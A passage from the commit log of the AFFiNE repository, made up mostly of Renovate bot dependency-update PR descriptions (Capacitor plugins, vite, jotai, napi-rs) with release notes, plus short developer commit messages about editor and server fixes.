-   [@&#8203;capaj](https://redirect.github.com/capaj) made their first contribution in [https://github.com/deanilvincent/check-password-strength/pull/75](https://redirect.github.com/deanilvincent/check-password-strength/pull/75)
-   [@&#8203;cmorford](https://redirect.github.com/cmorford) made their first contribution in [https://github.com/deanilvincent/check-password-strength/pull/76](https://redirect.github.com/deanilvincent/check-password-strength/pull/76)

**Full Changelog**: https://github.com/deanilvincent/check-password-strength/compare/v2.0.8...v3.0.0

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-21 10:31:03 +00:00
fengmk2 54dd131f4e fix(server): set reqeust-id on ClsModule setup (#9829) 2025-01-21 10:15:37 +00:00
Flrande b6a8d644f8 test(editor): add tests for heading toggle (#9820) 2025-01-21 09:35:33 +00:00
renovate 731010f7f2 chore: bump up @capacitor/keyboard version to v7 (#9826)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@capacitor/keyboard](https://redirect.github.com/ionic-team/capacitor-plugins) | [`^6.0.3` -> `^7.0.0`](https://renovatebot.com/diffs/npm/@capacitor%2fkeyboard/6.0.3/7.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@capacitor%2fkeyboard/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@capacitor%2fkeyboard/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@capacitor%2fkeyboard/6.0.3/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@capacitor%2fkeyboard/6.0.3/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>ionic-team/capacitor-plugins (@&#8203;capacitor/keyboard)</summary>

### [`v7.0.0`](https://redirect.github.com/ionic-team/capacitor-plugins/releases/tag/%40capacitor/app%407.0.0)

[Compare Source](https://redirect.github.com/ionic-team/capacitor-plugins/compare/@capacitor/keyboard@6.0.3...@capacitor/keyboard@7.0.0)

**Note:** Version bump only for package [@&#8203;capacitor/app](https://redirect.github.com/capacitor/app)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-21 08:58:58 +00:00
renovate 2a84c7aa5c chore: bump up @capacitor/haptics version to v7 (#9821)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@capacitor/haptics](https://redirect.github.com/ionic-team/capacitor-plugins) | [`^6.0.2` -> `^7.0.0`](https://renovatebot.com/diffs/npm/@capacitor%2fhaptics/6.0.2/7.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@capacitor%2fhaptics/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@capacitor%2fhaptics/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@capacitor%2fhaptics/6.0.2/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@capacitor%2fhaptics/6.0.2/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>ionic-team/capacitor-plugins (@&#8203;capacitor/haptics)</summary>

### [`v7.0.0`](https://redirect.github.com/ionic-team/capacitor-plugins/releases/tag/%40capacitor/app%407.0.0)

[Compare Source](https://redirect.github.com/ionic-team/capacitor-plugins/compare/@capacitor/haptics@6.0.2...@capacitor/haptics@7.0.0)

**Note:** Version bump only for package [@&#8203;capacitor/app](https://redirect.github.com/capacitor/app)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-21 08:40:00 +00:00
renovate b299bb89fa chore: bump up @capacitor/browser version to v7 (#9812)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@capacitor/browser](https://redirect.github.com/ionic-team/capacitor-plugins) | [`^6.0.4` -> `^7.0.0`](https://renovatebot.com/diffs/npm/@capacitor%2fbrowser/6.0.5/7.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@capacitor%2fbrowser/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@capacitor%2fbrowser/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@capacitor%2fbrowser/6.0.5/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@capacitor%2fbrowser/6.0.5/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>ionic-team/capacitor-plugins (@&#8203;capacitor/browser)</summary>

### [`v7.0.0`](https://redirect.github.com/ionic-team/capacitor-plugins/releases/tag/%40capacitor/app%407.0.0)

[Compare Source](https://redirect.github.com/ionic-team/capacitor-plugins/compare/@capacitor/browser@6.0.5...@capacitor/browser@7.0.0)

**Note:** Version bump only for package [@&#8203;capacitor/app](https://redirect.github.com/capacitor/app)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-21 08:24:06 +00:00
Saul-Mirone 5783580054 fix(editor): y reactive deep watch (#9818)
Closes: [BS-2193](https://linear.app/affine-design/issue/BS-2193/fix-deep-watcher-of-reactive-yjs-data)
2025-01-21 08:08:01 +00:00
L-Sun 7400cf225f refactor(editor): highlight selected cards of TOC based on signal (#9807)
Close [BS-2314](https://linear.app/affine-design/issue/BS-2314/添加打开toc时,将note-block-高亮), [BS-1868](https://linear.app/affine-design/issue/BS-1868/toc-里面-note之间顺序可拖动性,在page和edgeless里面是不同的,这个是设计的行为么?)

This PR refactor the highlight logic of note cards of TOC panel:
- notes block selected in edgeless note
- notes block covered by text or block selection in page mode
- note cards selected in TOC for dragging

Other changes:
- remove not used codes
- add tests for highlight note cards
2025-01-21 07:50:57 +00:00
renovate 6470d83248 chore: bump up @capacitor/app version to v7 (#9811)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@capacitor/app](https://redirect.github.com/ionic-team/capacitor-plugins) | [`^6.0.2` -> `^7.0.0`](https://renovatebot.com/diffs/npm/@capacitor%2fapp/6.0.2/7.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@capacitor%2fapp/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@capacitor%2fapp/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@capacitor%2fapp/6.0.2/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@capacitor%2fapp/6.0.2/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>ionic-team/capacitor-plugins (@&#8203;capacitor/app)</summary>

### [`v7.0.0`](https://redirect.github.com/ionic-team/capacitor-plugins/releases/tag/%40capacitor/app%407.0.0)

[Compare Source](https://redirect.github.com/ionic-team/capacitor-plugins/compare/@capacitor/app@6.0.2...@capacitor/app@7.0.0)

**Note:** Version bump only for package [@&#8203;capacitor/app](https://redirect.github.com/capacitor/app)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-21 07:34:11 +00:00
fengmk2 90b4dc5c00 refactor(server): use @nestjs-cls/transactional to impl database transaction (#9759) 2025-01-21 06:43:30 +00:00
forehalo 07c32d016d fix(native): possible deadlock when batching read/write (#9817) 2025-01-21 06:07:03 +00:00
CatsJuice 46ee235674 chore(core): replace add icon of section in sidebar (#9787) 2025-01-21 05:36:44 +00:00
darkskygit 1116a1d74e feat(server): supplement team email remind (#9483)
fix PD-2047 AF-1996
2025-01-21 05:18:02 +00:00
forehalo 42428fbf99 build: wrong keep classnames options (#9750) 2025-01-21 04:57:44 +00:00
Saul-Mirone f744002808 refactor(editor): add schema on block model (#9815) 2025-01-21 03:56:10 +00:00
L-Sun d2bde09ef6 fix(core): avoid multiple append right sidebar tab lit component (#9806)
This PR fixed that the TOC panel and frame panel will be connect and disconnect repeatly on the same instance. Similar issue:  https://github.com/toeverything/AFFiNE/pull/9019#discussion_r1872635745
2025-01-21 02:32:35 +00:00
fengmk2 6edb341255 feat(server): add requestId to all error response (#9790) 2025-01-21 01:32:59 +00:00
EYHN 97207a7ad5 fix(ios): fix ios http and ws (#9805) 2025-01-21 00:16:21 +00:00
pengx17 69e4a5e9b8 fix(infra): asynclock deadlock (#9808) 2025-01-20 17:03:15 +00:00
renovate 26cbc2a7a4 chore: bump up all non-major dependencies (#9804)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@napi-rs/cli](https://redirect.github.com/napi-rs/napi-rs) | [`3.0.0-alpha.67` -> `3.0.0-alpha.68`](https://renovatebot.com/diffs/npm/@napi-rs%2fcli/3.0.0-alpha.67/3.0.0-alpha.68) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@napi-rs%2fcli/3.0.0-alpha.68?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@napi-rs%2fcli/3.0.0-alpha.68?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@napi-rs%2fcli/3.0.0-alpha.67/3.0.0-alpha.68?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@napi-rs%2fcli/3.0.0-alpha.67/3.0.0-alpha.68?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [vite](https://vite.dev) ([source](https://redirect.github.com/vitejs/vite/tree/HEAD/packages/vite)) | [`6.0.7` -> `6.0.9`](https://renovatebot.com/diffs/npm/vite/6.0.7/6.0.9) | [![age](https://developer.mend.io/api/mc/badges/age/npm/vite/6.0.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/vite/6.0.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/vite/6.0.7/6.0.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vite/6.0.7/6.0.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>napi-rs/napi-rs (@&#8203;napi-rs/cli)</summary>

### [`v3.0.0-alpha.68`](https://redirect.github.com/napi-rs/napi-rs/compare/@napi-rs/cli@3.0.0-alpha.67...@napi-rs/cli@3.0.0-alpha.68)

[Compare Source](https://redirect.github.com/napi-rs/napi-rs/compare/@napi-rs/cli@3.0.0-alpha.67...@napi-rs/cli@3.0.0-alpha.68)

</details>

<details>
<summary>vitejs/vite (vite)</summary>

### [`v6.0.9`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small609-2025-01-20-small)

[Compare Source](https://redirect.github.com/vitejs/vite/compare/v6.0.8...v6.0.9)

-   fix!: check host header to prevent DNS rebinding attacks and introduce `server.allowedHosts` ([bd896fb](https://redirect.github.com/vitejs/vite/commit/bd896fb5f312fc0ff1730166d1d142fc0d34ba6d))
-   fix!: default `server.cors: false` to disallow fetching from untrusted origins ([b09572a](https://redirect.github.com/vitejs/vite/commit/b09572acc939351f4e4c50ddf793017a92c678b1))
-   fix: verify token for HMR WebSocket connection ([029dcd6](https://redirect.github.com/vitejs/vite/commit/029dcd6d77d3e3ef10bc38e9a0829784d9760fdb))

### [`v6.0.8`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small608-2025-01-20-small)

[Compare Source](https://redirect.github.com/vitejs/vite/compare/v6.0.7...v6.0.8)

-   fix: avoid SSR HMR for HTML files ([#&#8203;19193](https://redirect.github.com/vitejs/vite/issues/19193)) ([3bd55bc](https://redirect.github.com/vitejs/vite/commit/3bd55bcb7e831d2c4f66c90d7bbb3e1fbf7a02b6)), closes [#&#8203;19193](https://redirect.github.com/vitejs/vite/issues/19193)
-   fix: build time display 7m 60s ([#&#8203;19108](https://redirect.github.com/vitejs/vite/issues/19108)) ([cf0d2c8](https://redirect.github.com/vitejs/vite/commit/cf0d2c8e232a1af716c71cdd2218d180f7ecc02b)), closes [#&#8203;19108](https://redirect.github.com/vitejs/vite/issues/19108)
-   fix: don't resolve URL starting with double slash ([#&#8203;19059](https://redirect.github.com/vitejs/vite/issues/19059)) ([35942cd](https://redirect.github.com/vitejs/vite/commit/35942cde11fd8a68fa89bf25f7aa1ddb87d775b2)), closes [#&#8203;19059](https://redirect.github.com/vitejs/vite/issues/19059)
-   fix: ensure `server.close()` only called once ([#&#8203;19204](https://redirect.github.com/vitejs/vite/issues/19204)) ([db81c2d](https://redirect.github.com/vitejs/vite/commit/db81c2dada961f40c0882b5182adf2f34bb5c178)), closes [#&#8203;19204](https://redirect.github.com/vitejs/vite/issues/19204)
-   fix: resolve.conditions in ResolvedConfig was `defaultServerConditions` ([#&#8203;19174](https://redirect.github.com/vitejs/vite/issues/19174)) ([ad75c56](https://redirect.github.com/vitejs/vite/commit/ad75c56dce5618a3a416e18f9a5c3880d437a107)), closes [#&#8203;19174](https://redirect.github.com/vitejs/vite/issues/19174)
-   fix: tree shake stringified JSON imports ([#&#8203;19189](https://redirect.github.com/vitejs/vite/issues/19189)) ([f2aed62](https://redirect.github.com/vitejs/vite/commit/f2aed62d0bf1b66e870ee6b4aab80cd1702793ab)), closes [#&#8203;19189](https://redirect.github.com/vitejs/vite/issues/19189)
-   fix: use shared sigterm callback ([#&#8203;19203](https://redirect.github.com/vitejs/vite/issues/19203)) ([47039f4](https://redirect.github.com/vitejs/vite/commit/47039f4643179be31a8d7c7fbff83c5c13deb787)), closes [#&#8203;19203](https://redirect.github.com/vitejs/vite/issues/19203)
-   fix(deps): update all non-major dependencies ([#&#8203;19098](https://redirect.github.com/vitejs/vite/issues/19098)) ([8639538](https://redirect.github.com/vitejs/vite/commit/8639538e6498d1109da583ad942c1472098b5919)), closes [#&#8203;19098](https://redirect.github.com/vitejs/vite/issues/19098)
-   fix(optimizer): use correct default install state path for yarn PnP ([#&#8203;19119](https://redirect.github.com/vitejs/vite/issues/19119)) ([e690d8b](https://redirect.github.com/vitejs/vite/commit/e690d8bb1e5741e81df5b7a6a5c8c3c1c971fa41)), closes [#&#8203;19119](https://redirect.github.com/vitejs/vite/issues/19119)
-   fix(types): improve `ESBuildOptions.include / exclude` type to allow `readonly (string | RegExp)[]`  ([ea53e70](https://redirect.github.com/vitejs/vite/commit/ea53e7095297ea4192490fd58556414cc59a8975)), closes [#&#8203;19146](https://redirect.github.com/vitejs/vite/issues/19146)
-   chore(deps): update dependency pathe to v2 ([#&#8203;19139](https://redirect.github.com/vitejs/vite/issues/19139)) ([71506f0](https://redirect.github.com/vitejs/vite/commit/71506f0a8deda5254cb49c743cd439dfe42859ce)), closes [#&#8203;19139](https://redirect.github.com/vitejs/vite/issues/19139)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-20 16:43:40 +00:00
donteatfriedrice f995f216bd fix(editor): inline latex editor should not be shown when doc is readonly (#9794)
[BS-2442](https://linear.app/affine-design/issue/BS-2442/只读时-inline-latex-node-点击不应该弹出-modal)
2025-01-20 15:44:07 +00:00
Saul-Mirone 092f9c84fa refactor(editor): remove deprecated dangerouslyRenderModel method (#9803) 2025-01-20 14:48:09 +00:00
renovate 11558b6845 chore: bump up all non-major dependencies (#9800)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@napi-rs/cli](https://redirect.github.com/napi-rs/napi-rs) | [`3.0.0-alpha.67` -> `3.0.0-alpha.68`](https://renovatebot.com/diffs/npm/@napi-rs%2fcli/3.0.0-alpha.67/3.0.0-alpha.68) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@napi-rs%2fcli/3.0.0-alpha.68?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@napi-rs%2fcli/3.0.0-alpha.68?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@napi-rs%2fcli/3.0.0-alpha.67/3.0.0-alpha.68?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@napi-rs%2fcli/3.0.0-alpha.67/3.0.0-alpha.68?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [jotai](https://redirect.github.com/pmndrs/jotai) | [`2.11.0` -> `2.11.1`](https://renovatebot.com/diffs/npm/jotai/2.11.0/2.11.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/jotai/2.11.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/jotai/2.11.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/jotai/2.11.0/2.11.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/jotai/2.11.0/2.11.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [vite](https://vite.dev) ([source](https://redirect.github.com/vitejs/vite/tree/HEAD/packages/vite)) | [`6.0.7` -> `6.0.9`](https://renovatebot.com/diffs/npm/vite/6.0.7/6.0.9) | [![age](https://developer.mend.io/api/mc/badges/age/npm/vite/6.0.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/vite/6.0.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/vite/6.0.7/6.0.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vite/6.0.7/6.0.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>napi-rs/napi-rs (@&#8203;napi-rs/cli)</summary>

### [`v3.0.0-alpha.68`](https://redirect.github.com/napi-rs/napi-rs/compare/@napi-rs/cli@3.0.0-alpha.67...@napi-rs/cli@3.0.0-alpha.68)

[Compare Source](https://redirect.github.com/napi-rs/napi-rs/compare/@napi-rs/cli@3.0.0-alpha.67...@napi-rs/cli@3.0.0-alpha.68)

</details>

<details>
<summary>pmndrs/jotai (jotai)</summary>

### [`v2.11.1`](https://redirect.github.com/pmndrs/jotai/releases/tag/v2.11.1)

[Compare Source](https://redirect.github.com/pmndrs/jotai/compare/v2.11.0...v2.11.1)

Jotai v2.11.0 was a big change, and we faced some fundamental issues. It required time to reconsider the architecture from the ground up. We've added various tests, and this patch version should be more stable.

Having that said, we are still in the middle of the re-architecture. If you prefer to stay away from bleeding-edge features and encounter no bugs, feel free to keep using the previous versions.

Kudos to [@&#8203;dmaskasky](https://redirect.github.com/dmaskasky)

#### What's Changed

-   feat(core): add atom hooks for atom mount, unmount and improve dev store by [@&#8203;dmaskasky](https://redirect.github.com/dmaskasky) in [https://github.com/pmndrs/jotai/pull/2895](https://redirect.github.com/pmndrs/jotai/pull/2895)
-   refactor(core): more readability for addBatchFunc by [@&#8203;dmaskasky](https://redirect.github.com/dmaskasky) in [https://github.com/pmndrs/jotai/pull/2898](https://redirect.github.com/pmndrs/jotai/pull/2898)
-   feat(core): introduce atom.unstable_onInit hook by [@&#8203;dmaskasky](https://redirect.github.com/dmaskasky) in [https://github.com/pmndrs/jotai/pull/2905](https://redirect.github.com/pmndrs/jotai/pull/2905)
-   name devStore functions by [@&#8203;dmaskasky](https://redirect.github.com/dmaskasky) in [https://github.com/pmndrs/jotai/pull/2910](https://redirect.github.com/pmndrs/jotai/pull/2910)
-   refactor(core): replace batch dependents map with batched changed atoms by [@&#8203;dmaskasky](https://redirect.github.com/dmaskasky) in [https://github.com/pmndrs/jotai/pull/2912](https://redirect.github.com/pmndrs/jotai/pull/2912)
-   refactor: following up [#&#8203;2912](https://redirect.github.com/pmndrs/jotai/issues/2912) by [@&#8203;dai-shi](https://redirect.github.com/dai-shi) in [https://github.com/pmndrs/jotai/pull/2915](https://redirect.github.com/pmndrs/jotai/pull/2915)
-   refactor: eliminate batch by [@&#8203;dai-shi](https://redirect.github.com/dai-shi) in [https://github.com/pmndrs/jotai/pull/2925](https://redirect.github.com/pmndrs/jotai/pull/2925)
-   fix: derived atom is not recomputed after its dependencies changed [#&#8203;2906](https://redirect.github.com/pmndrs/jotai/issues/2906) by [@&#8203;dmaskasky](https://redirect.github.com/dmaskasky) in [https://github.com/pmndrs/jotai/pull/2907](https://redirect.github.com/pmndrs/jotai/pull/2907)
-   refactor(store): Replace runWithTransactions to flushCallbacks by [@&#8203;dmaskasky](https://redirect.github.com/dmaskasky) in [https://github.com/pmndrs/jotai/pull/2946](https://redirect.github.com/pmndrs/jotai/pull/2946)
-   refactor(store): avoid transaction by [@&#8203;dai-shi](https://redirect.github.com/dai-shi) in [https://github.com/pmndrs/jotai/pull/2950](https://redirect.github.com/pmndrs/jotai/pull/2950)
-   fix: should update dependents with the value of the unwrapped atom when the promise resolves by [@&#8203;dmaskasky](https://redirect.github.com/dmaskasky) in [https://github.com/pmndrs/jotai/pull/2936](https://redirect.github.com/pmndrs/jotai/pull/2936)

#### New Contributors

-   [@&#8203;kyday](https://redirect.github.com/kyday) made their first contribution in [https://github.com/pmndrs/jotai/pull/2927](https://redirect.github.com/pmndrs/jotai/pull/2927)
-   [@&#8203;Zercerium](https://redirect.github.com/Zercerium) made their first contribution in [https://github.com/pmndrs/jotai/pull/2929](https://redirect.github.com/pmndrs/jotai/pull/2929)
-   [@&#8203;disjukr](https://redirect.github.com/disjukr) made their first contribution in [https://github.com/pmndrs/jotai/pull/2937](https://redirect.github.com/pmndrs/jotai/pull/2937)

**Full Changelog**: https://github.com/pmndrs/jotai/compare/v2.11.0...v2.11.1

</details>

<details>
<summary>vitejs/vite (vite)</summary>

### [`v6.0.9`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small609-2025-01-20-small)

[Compare Source](https://redirect.github.com/vitejs/vite/compare/v6.0.8...v6.0.9)

-   fix!: check host header to prevent DNS rebinding attacks and introduce `server.allowedHosts` ([bd896fb](https://redirect.github.com/vitejs/vite/commit/bd896fb5f312fc0ff1730166d1d142fc0d34ba6d))
-   fix!: default `server.cors: false` to disallow fetching from untrusted origins ([b09572a](https://redirect.github.com/vitejs/vite/commit/b09572acc939351f4e4c50ddf793017a92c678b1))
-   fix: verify token for HMR WebSocket connection ([029dcd6](https://redirect.github.com/vitejs/vite/commit/029dcd6d77d3e3ef10bc38e9a0829784d9760fdb))

### [`v6.0.8`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small608-2025-01-20-small)

[Compare Source](https://redirect.github.com/vitejs/vite/compare/v6.0.7...v6.0.8)

-   fix: avoid SSR HMR for HTML files ([#&#8203;19193](https://redirect.github.com/vitejs/vite/issues/19193)) ([3bd55bc](https://redirect.github.com/vitejs/vite/commit/3bd55bcb7e831d2c4f66c90d7bbb3e1fbf7a02b6)), closes [#&#8203;19193](https://redirect.github.com/vitejs/vite/issues/19193)
-   fix: build time display 7m 60s ([#&#8203;19108](https://redirect.github.com/vitejs/vite/issues/19108)) ([cf0d2c8](https://redirect.github.com/vitejs/vite/commit/cf0d2c8e232a1af716c71cdd2218d180f7ecc02b)), closes [#&#8203;19108](https://redirect.github.com/vitejs/vite/issues/19108)
-   fix: don't resolve URL starting with double slash ([#&#8203;19059](https://redirect.github.com/vitejs/vite/issues/19059)) ([35942cd](https://redirect.github.com/vitejs/vite/commit/35942cde11fd8a68fa89bf25f7aa1ddb87d775b2)), closes [#&#8203;19059](https://redirect.github.com/vitejs/vite/issues/19059)
-   fix: ensure `server.close()` only called once ([#&#8203;19204](https://redirect.github.com/vitejs/vite/issues/19204)) ([db81c2d](https://redirect.github.com/vitejs/vite/commit/db81c2dada961f40c0882b5182adf2f34bb5c178)), closes [#&#8203;19204](https://redirect.github.com/vitejs/vite/issues/19204)
-   fix: resolve.conditions in ResolvedConfig was `defaultServerConditions` ([#&#8203;19174](https://redirect.github.com/vitejs/vite/issues/19174)) ([ad75c56](https://redirect.github.com/vitejs/vite/commit/ad75c56dce5618a3a416e18f9a5c3880d437a107)), closes [#&#8203;19174](https://redirect.github.com/vitejs/vite/issues/19174)
